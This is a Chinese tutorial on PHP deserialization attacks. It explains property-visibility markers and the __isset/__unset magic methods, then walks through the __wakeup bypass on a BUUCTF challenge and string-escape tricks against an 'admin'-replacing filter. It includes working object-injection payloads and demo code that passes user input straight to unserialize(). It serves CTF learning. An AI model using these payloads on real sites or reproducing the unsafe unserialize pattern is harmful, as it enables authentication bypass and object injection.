php反序列化进阶 && CVE (__wakeup的绕过)&&属性类型特征 && 字符串的逃逸

前言

属性特征 : 是指php的类定义除了 public(公共属性)还有 protect(受保护的属性) 和private (私有属性)

特征:

public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

显示 :(显示不同的目的就是为了让 反序列化 进行识别他是什么类型的属性)

public正常显示

protect 显示的特征就是 %00 %00 就是有空格掺杂

private 显示特征就是 xxx *

复制代码
<?php 

//public private protected说明
class Atest{
    public $name="xiaodi";
    private $age="31";
    protected $sex="man";
}
$a=new Atest();
$a=serialize($a);
print_r($a);




?>

续上文介绍 剩下2个高频 魔术方法

1、__isset() 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用

复制代码
//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
class Person{
   public $sex; //公共的
   private $name; //私有的
   private $age; //私有的

   public function __construct($name, $age, $sex){
       $this->name = $name;
       $this->age = $age;
       $this->sex = $sex;
   }

   // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
   public function __isset($content){
       //echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
       echo "123<br>";
       return isset($this->$content);
   }
}

$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
// echo isset($person->name),"<br>";
// echo empty($person->sex),"<br>";
// private 成员
isset($person->name);
empty($person->age);

2、__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数

上边这两个其实都是对不可方法变量的操作

复制代码
//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{
   public $sex;
   private $name;
   private $age;

   public function __construct($name, $age, $sex){
       $this->name = $name;
       $this->age = $age;
       $this->sex = $sex;
   }

   // __unset():销毁对象的某个属性时执行此函数
   public function __unset($content) {
       echo "这是个私有变量".$content."<br>";
       //echo isset($this->$content)."<br>";
   }
}

$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset

CVE(__wakeup逃逸)(以buuctf中的[极客大挑战 2019]PHP)

有个提示是 这个网站是有备份文件的 所以直接访问 www.zip

解压一下使用vscode打开: 打开index.php 寻找信息

因为包含了一个 class.php 所以推测pop应该是从 class.php内获取

新建一个pop.php

先了解一下 wakeup的基本使用(当 unserialize 被调用是会先使用它来进行数据的初始化)

他的作用是初始化数据

运行下面代码

复制代码
<?php
class  Www{
    public $name='xiaodi';
    public function __wakeup(){
        echo "222";
        $this->name = 'nJohn';
    }
}
$x=new Www();

$xx=serialize($x);
$xxx=unserialize($xx);
var_dump($xxx);
?>

构造pop

O:5:"Names":2:{s:15:"Namesusername";s:5:"admin";s:15:"Namespassword";i:100;}

但是wakeup的绕过就是把对象的数量大于实际的数量就会不执行 wakeup

url编码一下传给 ?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

flag{c1c757b6-9d95-4bd0-bbf4-a2f6ad314d9b}

字符串的逃逸

是什么事字符串的逃逸? :字符串的逃逸就是为了绕过一下过滤性的waf

简单的演示

对替换的进行反序列化 输出失败

原因 : 因为序列化被修改但是他的字符数不会被修改

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

看一下hacker是6位数 而序列化之后是 5位的显示 所以才会导致的这个时候就需要我们进行 字符串的逃逸

看个本地的demo

1\字符串加位逃逸

复制代码
<?php
class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }

    function login(){
        $isVip=$this->isVIP;


        if($isVip==1){   //因为这个的判断只有一个所以 只要让  isvip=1 就能执行 flag is niubi 
            echo 'flag is niubi';
        }else{
            echo 'fuck';
        }
    }


}

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}

//你必须输入admin
//


//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//$p="xiaodi";

//$u='admin';
//$p='123456';

//无过滤序列化数据数据显示
//$obj = new user($u,$p);
//$obj = serialize($obj);
//echo $obj;
//echo "\n";
//无过滤反序列化数据数据显示
//var_dump(unserialize($obj));
//echo "\n";
//有过滤反序列化数据数据显示
//$obj1 = filter(serialize($obj));
//echo $obj1;
//var_dump(unserialize($obj1));

$obj=$_GET['x'];
if(isset($obj)){
    $o=unserialize($obj);
    $o->login();
}else{
    echo 'fuck';
}

知道之后 进行pop的构造只把需要的留下

复制代码
<?php
class user
{
    public $username='admin';
    public $password='123456';
    public $isVIP='1';
    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 1;
    }
}


function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}
$u='admin';
$p='123456';
$obj = new user($u,$p);
echo serialize($obj);

分别输出出 1、原本的 2、替换后的

O:4:"user":3:{s:8:"username";s:5:"我们的输入";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

现在的

O:4:"user":3:{s:8:"我们的输入";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

发现hacker 是 6个字符 却被序列化为 5 这样就会让替换之后的 多很多字符 那该怎么办? 涉及到占位问题 就是hacker会多占位

输入一个 admin 会多占位一个 我们把username 写为 : 47个admin (这个是有admin后边的位数决定的) 这个时候替换会多出 47个 r 我们输入的后边 有多余的 47位可以代替 被替换的 来补全

admin = 5

5 * 47 + 47

47个admin 正好加上 后边的47位 和下边的相等 这样实现字符串的逃逸

可以理解为 47 和 6 的公倍数 遇见 就可以写为 寻找要构造的数后边的多余为 和要替换数的字符数的公倍数 这个只适用于 多一个字符的替换

47个 admin全部替换掉为 hacker

hacker=6

6 * 47

最后的paylaod :

复制代码
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'

这个的原理就是使用了 admin 替换为 hacker 让后边加上原来admin 就有的内容

2\字符串减位逃逸

字符的减位和加位完全为两个逻辑

上边 位多了 我们就把username 加到 和下边一样

减位的话 就需要让位 让我们的输入也变少 和少到和下边一样

本地demo源码

复制代码
<?php
class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }

    function login(){
        $isVip=$this->isVIP;
        if($isVip==1){
            echo 'flag is niubi';
        }else{
            echo 'fuck';
        }

    }
}

function filter($obj) {
    return preg_replace("/admin/","hack",$obj);
}

//$obj = new user('admin','xiaodi');
//echo serialize($obj);
//$obj = filter(serialize($obj));
//echo $obj;
//var_dump(unserialize($obj));

$obj=$_GET['x'];
if(isset($obj)){
    $o=unserialize($obj);
    $o->login();
}else{
    echo 'fuck';
}

还是先获取 替换前和 之后的 序列化内容

原:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

现:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

上一个我们修改的是 username 这一关我们需要修改password 把 password 修改为和下边一样

发现是22 位

上一个我们修改的是 username 这一关我们需要修改password 把 password 修改为和下边一样、

username 生成 22个admin 会使得下边少 22位 我们让 password= ";s:8:"password";s:6:" 从而是上下一致

paylaod

复制代码
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

进行反序列在url编码 成功出flag

因为判断是 isvip 所以只要 isvip=1 就能实现

综合

技巧 :增找末尾相同的个数位 进行上下一致的补位(末尾部分的补位) 这个只补 admin

减找中间的相同位数 让admin和password共同构造和下边一样的payload(中间部分的双写)

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1235 天前
matlab画图工具
开发语言·matlab
dustcell.5 天前
haproxy七层代理
java·开发语言·前端